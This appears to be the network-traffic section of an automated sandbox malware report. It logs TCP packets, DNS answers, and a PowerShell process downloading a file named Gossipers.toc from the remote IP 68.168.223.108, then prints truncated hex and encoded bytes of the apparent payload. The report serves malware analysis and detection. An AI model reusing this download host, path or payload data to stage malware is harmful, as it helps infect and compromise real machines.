Apr 15, 2025 17:35:15.458878994 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458893061 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458906889 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458921909 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458921909 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.459136009 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.459136009 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587003946 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587033987 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587053061 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587066889 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587080956 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587095022 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587109089 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587124109 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587137938 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587151051 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587166071 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587171078 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587171078 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587181091 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587198019 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587203979 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587203979 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587223053 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587239027 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587253094 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587266922 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587269068 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587269068 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587281942 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587296963 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587311029 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587321043 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587321043 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587327003 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587341070 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587354898 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587372065 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587388039 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587388039 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587388039 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587402105 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587412119 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587419987 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587435961 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587450981 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587466002 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587477922 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587477922 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587481022 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587496042 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587511063 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587524891 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587533951 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587533951 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587539911 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587553978 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587568998 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587583065 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587593079 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587593079 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587599039 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587614059 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587629080 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587642908 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587656021 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587656021 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587657928 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587672949 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587688923 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587702990 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587717056 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587727070 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587727070 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587732077 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587745905 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587759972 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587773085 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587773085 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587774992 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587790966 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587805986 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587820053 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587824106 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587835073 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587848902 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587862968 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587862968 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587862968 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587877035 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587891102 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587904930 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587918043 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587932110 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587934017 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587934017 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587948084 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587961912 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587976933 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.587976933 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587976933 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.587990999 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588006020 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588020086 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588032961 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588040113 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588040113 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588048935 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588063002 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588077068 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588088989 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588088989 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588090897 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588105917 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588120937 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588135958 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588150024 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588150024 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588150024 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588164091 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588179111 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588191986 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588207006 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588207006 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588207006 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588219881 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588234901 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588248014 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588262081 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588262081 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588274956 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588289976 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588290930 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588304043 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588319063 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588334084 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588346958 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588360071 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588373899 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588373899 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588375092 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588395119 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588408947 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588423967 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588423967 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588423967 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588438988 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588454008 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588468075 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588479996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588479996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588481903 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588495970 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588501930 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588510990 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588526011 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588541985 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588556051 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588570118 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588570118 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588570118 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588584900 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588599920 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588613033 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588628054 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588629961 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588640928 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588655949 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588668108 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588673115 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588673115 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588682890 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588696957 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588711023 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.588713884 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588713884 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.588793993 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.630518913 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:20.184202909 CEST	49718	80	192.168.2.4	68.168.223.108

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 15, 2025 17:35:10.108688116 CEST	1.1.1.1	192.168.2.4	0x6430	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:35:10.108688116 CEST	1.1.1.1	192.168.2.4	0x6430	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

68.168.223.108

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49718	68.168.223.108	80	8104	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2025 17:35:14.793342113 CEST	174	OUT	GET /JD/Gossipers.toc HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: 68.168.223.108 Connection: Keep-Alive
Apr 15, 2025 17:35:14.936954975 CEST	1358	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 26 Mar 2025 22:35:44 GMT Accept-Ranges: bytes ETag: "53ac96699f9edb1:0" Server: Microsoft-IIS/10.0 Date: Tue, 15 Apr 2025 15:35:14 GMT Content-Length: 575624 Data Raw: 75 37 39 6c 47 41 42 6d 49 66 59 44 58 43 51 45 67 38 38 41 75 65 55 57 4a 6a 79 42 77 63 32 6e 50 68 53 42 38 62 4b 2b 5a 46 42 6d 77 65 41 41 75 68 72 41 46 56 58 41 36 51 41 67 32 7a 48 4b 67 2b 67 41 69 52 51 4c 67 4d 6b 41 30 65 4c 42 34 51 43 44 77 51 53 41 77 67 43 42 2b 51 46 64 7a 77 4a 38 34 47 61 42 2f 31 4a 48 69 30 51 6b 42 49 50 79 41 49 6e 44 67 66 6e 36 61 50 34 61 67 63 50 6a 36 4d 63 42 42 41 43 36 76 6d 41 71 44 34 48 79 6f 37 79 64 6b 6f 48 79 48 64 79 33 6e 53 77 41 5a 6f 58 32 69 77 77 51 67 4f 73 41 69 51 77 54 5a 6f 48 2b 58 6b 78 43 49 4e 75 42 2b 71 51 5a 42 67 42 31 35 49 44 44 41 49 6c 63 4a 41 77 68 77 49 48 74 41 41 4d 41 41 49 44 4c 41 49 74 55 4a 41 69 41 79 51 43 4c 66 43 51 45 6b 49 6e 72 68 4d 6d 42 77 35 77 41 41 41 43 44 77 77 42 54 5a 73 48 6e 41 47 70 41 5a 6f 50 4a 41 49 6e 72 5a 6f 50 7a 41 4d 65 44 41 41 45 41 41 41 44 51 36 67 4b 44 77 67 43 42 77 77 41 42 41 41 43 44 7a 67 42 54 5a 6f 50 75 41 49 6e 72 49 66 61 4a 75 77 51 42 41 41 43 51 67 63 4d 45 41 51 [TRUNCATED] Data Ascii: u79lGABmIfYDXCQEg88AueUWJjyBwc2nPhSB8bK+ZFBmweAAuhrAFVXA6QAg2zHKg+gAiRQLgMkA0eLB4QCDwQSAwgCB+QFdzwJ84GaB/1JHi0QkBIPyAInDgfn6aP4agcPj6McBBAC6vmAqD4Hyo7ydkoHyHdy3nSwAZoX2iwwQgOsAiQwTZoH+XkxCINuB+qQZBgB15IDDAIlcJAwhwIHtAAMAAIDLAItUJAiAyQCLfCQEkInrhMmBw5wAAACDwwBTZsHnAGpAZoPJAInrZoPzAMeDAAEAAADQ6gKDwgCBwwABAACDzgBTZoPuAInrIfaJuwQBAACQgcMEAQAAwe8AU5Bq/8DhAIPCBZsx9vgxyWYhyYsagflJ2+9VQcHjADkcCnX3ZoPPAEaAygCAfAr7uHXoZoXbi0QK/GaB/ixxKfBmgftLfv/Sgfp0mz5DuqQZBgD8McCF/4t8JAxmhdKBNAc64zOAZj13OYPABMHgADnQdevA6wCJ+5v/15tkhQpYbAgi+CvrREfV6P5qPMWB7lAMbs/SuT6GOmfwRjpr2Il310ipWzafqQs63gA6m7dKqggbTHhFpAp/LbsHq2Qt4TUi/3qLg2hMeEWkCn8tuwerZC3hNSL/eouDaMADJUY5vzrPaDrjM4C/O2gJ32LfiGYTMQH+62pwOLa6ZYM/g826Ot4B0yeDzboILI7oojx7ZjreZlnFiFZYyFd7grzFElm3N9diIEWRqd7qfr469MQ341qMze7L5s0igH3kDcsE6x+yxDfjpHMyEVWPxw4PN9Hppao/nh9ydpY6zb869AXO4jOAAqqNU9HokS46dKAqyNDnl5I6xgGPFzKAOth6Puk/xHb429imYkbkoCfTlJ6Xua4ozl+jq9kWV2neM7TOqNtoRVJwGNBcP8hcnTJyf7cXMoA6lvzB/WaygTrjwY4cX1UF4TrNAZdiMoA6mT6mhjrHayVrgxjtCse83FMsl0X6IbkuKGpi/ksvrEnmRlGixcVs [TRUNCATED]
Apr 15, 2025 17:35:14.936985970 CEST	1358	IN	Data Raw: 73 52 69 45 75 6e 46 52 48 65 66 2f 7a 43 4a 76 6d 6a 44 38 47 71 73 70 63 46 31 76 42 2f 37 34 72 32 4b 52 37 74 35 77 73 4e 53 54 65 68 63 54 65 5a 51 53 6e 4d 4d 68 56 44 6b 70 6a 73 55 79 6f 51 42 6e 78 39 54 71 33 49 43 44 37 37 70 79 42 2f Data Ascii: sRiEunFRHef/zCJvmjD8GqspcF1vB/74r2KR7t5wsNSTehcTeZQSnMMhVDkpjsUyoQBnx9Tq3ICD77pyB/eZc3iYi0fS23XIX5f9Wq983d+DrygPN8de1AxuZd4W2WLNmS4E647L9Tg9wgDrsvq/i4zO4zWDYhbN+f4E647L9RjhZgDrsvgXw4zPT0sE4hjqFDsqGanbEu55PhgHjM4++iPmAOrSMjjrjMwHFFTNKVey+qcbmM9
Apr 15, 2025 17:35:14.937000990 CEST	1358	IN	Data Raw: 63 68 4d 44 31 56 32 4f 73 6f 42 2b 4a 34 31 42 35 39 7a 75 70 49 33 33 6c 70 61 50 64 41 77 77 43 55 53 39 52 44 34 67 6c 54 4c 33 59 71 38 65 32 49 71 38 67 33 38 4a 56 50 4a 36 58 62 55 66 49 4f 49 61 51 48 4c 63 33 46 7a 47 7a 33 33 6a 7a 76 Data Ascii: chMD1V2OsoB+J41B59zupI33lpaPdAwwCUS9RD4glTL3Yq8e2Iq8g38JVPJ6XbUfIOIaQHLc3FzGz33jzv4H4A64zOAOuMzgDoYtrhm+p7ZJ9/Uvyk1iOVraL7xOOMz04EqOFPYPcsByX77Z0rsWWK7CJe/FuPuYbsI4JYycTxt1Woo1nTgUx/747Qpub9kfTQ7MSjVET8r+enZNGEL4Vk/47odC+EzgLMgYAun0jGAOgvtcTjj
Apr 15, 2025 17:35:14.937016010 CEST	1358	IN	Data Raw: 6f 32 41 4e 41 39 58 35 6f 68 54 76 49 42 57 56 56 4e 34 4b 66 52 33 39 68 73 30 6b 66 62 46 32 61 67 65 58 6c 50 50 48 4a 75 37 4a 32 6f 42 59 59 6d 65 4d 63 73 6d 34 55 69 70 4c 44 58 4f 7a 61 65 62 73 6c 50 63 64 43 72 31 57 50 77 68 53 79 64 Data Ascii: o2ANA9X5ohTvIBWVVN4KfR39hs0kfbF2ageXlPPHJu7J2oBYYmeMcsm4UipLDXOzaebslPcdCr1WPwhSydut1+KjiArq2WqDmYfoXfZy+x3jrwLkAnNAWTCqo3RYLcD1tjz0F8IA64zOAOuMzgDoh0qr68aJ91J7EjsKiy22VPAKRz6Sz0oBsNoFwhTzy6xayaj/GDNrjGrJqeUNijFzsUUa7IcsAHtDtf7sJXzKu9e1Gs/HjZU
Apr 15, 2025 17:35:14.937031984 CEST	1358	IN	Data Raw: 68 6f 48 44 30 69 46 70 70 56 62 46 4c 59 67 4d 6b 75 33 45 30 39 49 78 55 61 73 76 62 4e 2f 2f 72 70 62 72 4e 65 6c 68 67 6d 48 4b 7a 4b 41 4f 6c 77 78 58 72 65 6d 50 49 6d 68 75 6a 4f 41 4f 75 4d 7a 67 44 72 6a 4d 34 44 42 56 31 4b 73 79 47 4a Data Ascii: hoHD0iFppVbFLYgMku3E09IxUasvbN//rpbrNelhgmHKzKAOlwxXremPImhujOAOuMzgDrjM4DBV1KsyGJZkixRGMWfx4TmNTz+1oR9il6aOssBzGITb5SFPFj4YsU65aPPWchi3SV/ksFZwrGvCdjiAR0DNEmSZ67jZTOpsP1n/HVAxvXoBF4yckcyvAAvvyppaybXYiRz11aQ3/gbgJ3qRrRrR3q0X/PWmxLjlIlPvbJ3Gj2+
Apr 15, 2025 17:35:14.937047005 CEST	1358	IN	Data Raw: 6a 75 79 42 7a 63 68 69 38 50 50 4c 4d 4d 62 4a 7a 55 6d 47 56 30 56 7a 73 30 55 32 37 49 45 79 31 73 6b 44 75 59 62 50 6f 4b 5a 56 55 69 49 79 31 66 5a 68 45 72 51 75 68 39 49 76 4d 6c 53 7a 32 6f 76 6f 52 48 59 65 36 4a 2b 69 43 71 36 4f 70 4a Data Ascii: juyBzchi8PPLMMbJzUmGV0Vzs0U27IEy1skDuYbPoKZVUiIy1fZhErQuh9IvMlSz2ovoRHYe6J+iCq6OpJ7i4BSnhM4BpWE0auTLrUbsg/qVF8jxV6mLY6hJM94/DL7JrducDi1zsQHUJYvDrVz/fWdK0rwnd4iwdXNrE+THcQ9Ri5yBAUdaGVJYfvpOXM/30JIMH7Urb3d+6HO3bUsY5fjFqhsc44zM+mjvbAGxdpo1xyjx11m
Apr 15, 2025 17:35:14.937064886 CEST	1358	IN	Data Raw: 69 69 46 59 49 73 53 57 6a 50 4d 51 63 54 49 66 35 34 65 33 4f 56 6f 41 2f 37 62 56 59 2f 39 30 7a 4f 41 4f 75 4d 7a 67 44 72 6a 4d 34 44 42 4b 4f 73 2f 4c 66 5a 4a 31 39 35 4b 6f 61 58 33 34 51 72 51 67 70 4d 51 35 52 75 46 50 46 33 39 31 6c 77 Data Ascii: iiFYIsSWjPMQcTIf54e3OVoA/7bVY/90zOAOuMzgDrjM4DBKOs/LfZJ195KoaX34QrQgpMQ5RuFPF391lw52GZVj10YBvQ5KVbmNYrErVF7fkHjM2UcswUyhqdn6fIxdWoOQBD2OyiqB62GJLRenQlLNmMRqb52cZU1zyOU2gIfbeYDKWvmNSQBgDrjM4A64zOAOhB3vEnObWTS4/yFOi9ED4su/ItMUQ5Uo0RufvB15CDdbY8a
Apr 15, 2025 17:35:14.937079906 CEST	1358	IN	Data Raw: 45 50 5a 61 33 35 77 49 47 57 6b 71 73 41 46 6e 44 7a 76 42 65 48 79 2f 71 61 7a 38 38 41 37 76 39 37 46 42 4b 61 33 2b 36 59 54 50 69 72 72 6e 70 6b 53 47 6c 73 57 70 55 47 43 46 47 6f 6f 34 6f 67 4b 56 37 51 2f 68 78 49 73 5a 76 30 72 56 33 71 Data Ascii: EPZa35wIGWkqsAFnDzvBeHy/qaz88A7v97FBKa3+6YTPirrnpkSGlsWpUGCFGoo4ogKV7Q/hxIsZv0rV3qAWXJ1Cyfj+VfIJjhbZaYoU86t9ihsE44zN6aE6XWdovEN3tPwKDhVmMCgH7hnK/k1qQGKzMDXvhM4BPFP/7JtPuo+HEjR2tJXkPyL4LUXGZPIEp1zOAOuMzgDrjM4DIGocbIeK6PVXhM4CF5JVm9y/2q4LnSEmfro
Apr 15, 2025 17:35:14.937093973 CEST	1358	IN	Data Raw: 42 65 7a 39 58 2f 69 53 54 6a 4e 63 75 4d 57 5a 41 75 48 55 6a 4b 41 4f 68 79 47 77 44 76 6a 4d 39 4f 42 33 62 65 4c 50 6a 72 5a 41 66 6d 74 45 76 51 4a 4f 73 34 42 79 66 41 53 4b 4d 32 46 50 50 4c 49 67 62 4a 44 4b 57 34 50 68 31 7a 73 32 33 75 Data Ascii: Bez9X/iSTjNcuMWZAuHUjKAOhyGwDvjM9OB3beLPjrZAfmtEvQJOs4ByfASKM2FPPLIgbJDKW4Ph1zs23u7CIGQLivqdWp/umAz+6648pAwQy43oH745xk3is1pQ4Gwbw4TG50ZmO2wV0hE9JsRkhqBam9VBeK7tlNhC7VgP+NlPqDJ4NLkHLJ2D3u7puMJsnaVUGj04w1iHLMCOrGnZvX8MU2knA0VkJ6O0Ea/KiNpV/QC16Ue
Apr 15, 2025 17:35:14.937109947 CEST	1358	IN	Data Raw: 67 79 73 67 31 62 54 46 64 50 2b 4e 71 32 72 75 65 65 7a 61 56 34 7a 4f 50 76 68 5a 33 67 6a 71 34 59 54 70 61 42 77 64 72 35 79 4b 79 63 74 51 47 66 74 51 31 68 2b 59 42 79 46 71 4d 2b 59 55 2b 34 77 6b 67 30 70 69 44 66 52 69 7a 36 73 4d 46 62 Data Ascii: gysg1bTFdP+Nq2rueezaV4zOPvhZ3gjq4YTpaBwdr5yKyctQGftQ1h+YByFqM+YU+4wkg0piDfRiz6sMFb7bMH4MlVlbLsXwnPrJKuboFzuIzgGtazUIDSFWPWiyycR7e2Y/jGbJxB6JbDKE40QHTBI47EoU8fem1rwnc4j0dXGby9j5IA0EXninL6fkbt1QZyKGsu2+xdyNgBsWESAT7vbJ/k0gYumNbib5nj2I5R61SLuMasn
